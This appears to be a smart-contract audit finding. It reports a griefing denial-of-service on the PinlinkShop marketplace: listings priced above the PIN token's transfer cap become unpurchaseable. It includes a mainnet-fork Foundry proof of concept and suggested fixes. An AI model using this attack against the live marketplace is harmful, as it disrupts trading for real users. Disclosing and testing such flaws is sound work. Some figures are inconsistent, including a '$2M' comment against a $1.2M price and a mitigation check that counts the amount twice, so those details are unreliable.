Custom Gunmetal Woodpecker

Medium

# Unbounded Listing Prices Enable DoS via maxTxAmount in PinlinkShop

### Summary

The `PinlinkShop` contract lacks an upper bound on `usdPricePerFraction` for listings and a supply-to-wallet ratio check, allowing a malicious seller to monopolize or flood the market with listings priced so high (e.g., > $1M per fraction) that they exceed the PIN token’s `maxTxAmount`. This renders the listings unpurchaseable, wasting gas for buyers and disrupting the marketplace’s functionality.

### Root Cause

In [`pinlinkShop.sol:289-305`](https://github.com/sherlock-audit/2025-03-pinlink-rwa-tokenized-depin-marketplace/blob/main/marketplace-contracts/src/marketplaces/pinlinkShop.sol#L289-L305), the `list` function permits any `usdPricePerFraction` without an upper limit:

```solidity
function list(
    address fractionalAssets,
    uint256 tokenId,
    uint256 amount,
    uint256 usdPricePerFraction,
    uint256 deadline
) external returns (bytes32 listingId) {
    listingId = _list(fractionalAssets, tokenId, amount, usdPricePerFraction, deadline);
}
```

Combined with the PIN token’s maxTxAmount restriction (assumed ~1M PIN based on typical ERC-20 implementations as well as the PoC using the values PIN's contract at block 21947000, however, this could even be as low as ~10k PIN), purchases of high-priced listings revert, creating a DoS condition. This can be seen on the contract's current mainnet deployed contract:

```solidity
    function setMaxTxRatio(uint32 ratio) external onlyOwner {
        require(ratio < 10000, "No lower than .01%");
        maxTxRatio = ratio;
    }

...

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint32 _taxAmt;
        bool isSell = false;

        if (
            from != owner() &&
            to != owner() &&
            from != address(this) &&
            !mappedAddresses[to]._isExcludedFromFee &&
            !mappedAddresses[from]._isExcludedFromFee
        ) {
            // Max tx check
            require(amount <= totalTokens / maxTxRatio, "Max tx exceeded.");

     ...
```

#### Internal Pre-conditions

1. The PIN token enforces a maxTxAmount (e.g., 1M PIN) in its _transfer function for non-exempt addresses.
2. The PinlinkShop contract is deployed with an oracle converting USD to PIN (e.g., 1 PIN = 0.95 USD).

#### External Pre-conditions

1. A malicious seller (e.g., Bob) acquires a significant portion or all of a fractional asset’s supply (e.g., via prior purchases or market manipulation).
2. The seller has sufficient PIN tokens to execute initial purchases and listings.

#### Attack Path

1. Bob purchases 100 fractional assets from an initial listing at $10/fraction (~1052.63 PIN total).
2. Bob lists 50 of these assets at an exorbitant price, e.g., $1.2M/fraction, via list (total PIN cost per fraction ≈ ~1.263M PIN).
3. Alice attempts to purchase 1 fraction, calling purchase(highPriceListingId, 1, 1263157e18).
4. The purchase function triggers a PIN transfer exceeding the maxTxAmount (1M PIN), reverting with "Max tx exceeded."
5. Bob repeats this across multiple assets or listings, flooding the market with unpurchaseable listings.

#### Impact

1. DoS: Buyers cannot purchase high-priced listings, rendering them inaccessible and wasting gas on failed attempts.
2. Market Disruption: If Bob monopolizes supply (due to no supply-to-wallet ratio check), legitimate users are prevented from buying assets until new tokens are minted, and the marketplace becomes effectively unusable.
3. Griefing: Bob earns rewards via RewardsStream while listings persist, enabling the attack to continue with no penalty.

#### PoC

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.27;

import "forge-std/console.sol";
import {FractionalAssets} from "src/fractional/FractionalAssets.sol";
import {PinlinkShop, Listing} from "src/marketplaces/pinlinkShop.sol";
import {Test} from "forge-std/Test.sol";
import {IERC20} from "forge-std/interfaces/IERC20.sol";
import {CentralizedOracle} from "src/oracles/CentralizedOracle.sol";

contract PurchaseDoS is Test {
    FractionalAssets fractions;
    PinlinkShop pshop;
    CentralizedOracle oracle;

    address admin;
    address bob;
    address alice;

    uint256 asset1 = 111;
    bytes32 initialListingId;
    bytes32 highPriceListingId;

    IERC20 PIN = IERC20(0x2e44f3f609ff5aA4819B323FD74690f07C3607c4); // Mainnet PIN
    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); // Mainnet USDC

    function setUp() public {
        string memory MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");
        vm.createSelectFork(MAINNET_RPC_URL, 21947000);

        admin = makeAddr("admin");
        bob = makeAddr("bob");
        alice = makeAddr("alice");

        // Deploy contracts
        vm.startPrank(admin);
        oracle = new CentralizedOracle(address(PIN), 0.95 ether); // 1 PIN = 0.95 USD
        fractions = new FractionalAssets(
            "https://metadata.pinlink.dev/metadata/0xaaaa/"
        );
        fractions.mint(asset1, admin, 100); // Total supply of asset1 = 100
        pshop = new PinlinkShop(address(PIN), address(oracle), address(USDC));
        fractions.setApprovalForAll(address(pshop), true);
        vm.stopPrank();

        // Distribute PIN tokens
        deal(address(PIN), bob, 10_000e18); // 10,000 PIN
        deal(address(PIN), alice, 10_000_000e18); // 10,000,000 PIN

        // Approve PinlinkShop for PIN transfers
        vm.prank(bob);
        PIN.approve(address(pshop), type(uint256).max);
        vm.prank(alice);
        PIN.approve(address(pshop), type(uint256).max);

        // Enable asset and list initial supply
        vm.startPrank(admin);
        pshop.enableAsset(address(fractions), asset1, admin);
        initialListingId = pshop.list(
            address(fractions),
            asset1,
            100, // Entire supply
            10e18, // $10 per fraction
            block.timestamp + 7 days
        );
        vm.stopPrank();

        // Bob buys the entire supply
        uint256 pinAmount = pshop.getQuoteInTokens(initialListingId, 100); // 100 * $10 / 0.95 ≈ 1052.63 PIN
        vm.prank(bob);
        pshop.purchase(initialListingId, 100, pinAmount);

        // Bob lists at high price
        vm.prank(bob);
        highPriceListingId = pshop.list(
            address(fractions),
            asset1,
            50, // Half the supply
            1_200_000e18, // $1.2M per fraction
            block.timestamp + 7 days
        );
    }

    function test_DoSAttackViaMaxTxAmount() public {
        // Verify high price listing
        Listing memory listing = pshop.getListing(highPriceListingId);
        assertEq(listing.amount, 50, "Incorrect high price listing amount");
        assertEq(
            listing.usdPricePerFraction,
            1_200_000e18,
            "Incorrect high price"
        );

        // Alice attempts to purchase 1 fraction
        uint256 quote = pshop.getQuoteInTokens(highPriceListingId, 1); // $2M / 0.95 ≈ 2,105,263 PIN
        assertApproxEqAbs(quote, 1263157.89474e18, 1e18, "Quote mismatch");

        // Assuming PIN's maxTxRatio is 1% of 100M (1M PIN), this exceeds it
        vm.prank(alice);
        vm.expectRevert("Max tx exceeded.");
        pshop.purchase(highPriceListingId, 1, quote);
    }
}
```

#### Mitigation

Implement an upper bound on usdPricePerFraction in the list function to prevent listings that exceed the PIN token’s maxTxAmount:

```solidity
uint256 constant MAX_FRACTION_PRICE = 1_000_000e18; // Or choose another value here that the protocol believes to be more appropriate but still in line with the maxTxRatio

function list(
    address fractionalAssets,
    uint256 tokenId,
    uint256 amount,
    uint256 usdPricePerFraction,
    uint256 deadline
) external returns (bytes32 listingId) {
    require(usdPricePerFraction <= MAX_FRACTION_PRICE, "Price exceeds max allowed");
    listingId = _list(fractionalAssets, tokenId, amount, usdPricePerFraction, deadline);
}
```

Optionally, to prevent supply monopolization, enforce a supply-to-wallet ratio check using the totalSupply() function from the FractionalAssets contract Additionally, set a minimum supply for each asset to ensure sufficient distribution:

```solidity
function _list(
    address fractionalAssets,
    uint256 tokenId,
    uint256 amount,
    uint256 usdPricePerFraction,
    uint256 deadline
) internal returns (bytes32 listingId) {
    uint256 totalSupply = IFractionalAssets(fractionalAssets).totalSupply(tokenId);
    uint256 userBalance = streams[fractionalAssets][tokenId].stakedBalances[msg.sender] + amount;
    require(userBalance + amount <= totalSupply / 10, "Exceeds max wallet ratio"); // e.g., 10% of supply
    // Existing logic...
}
```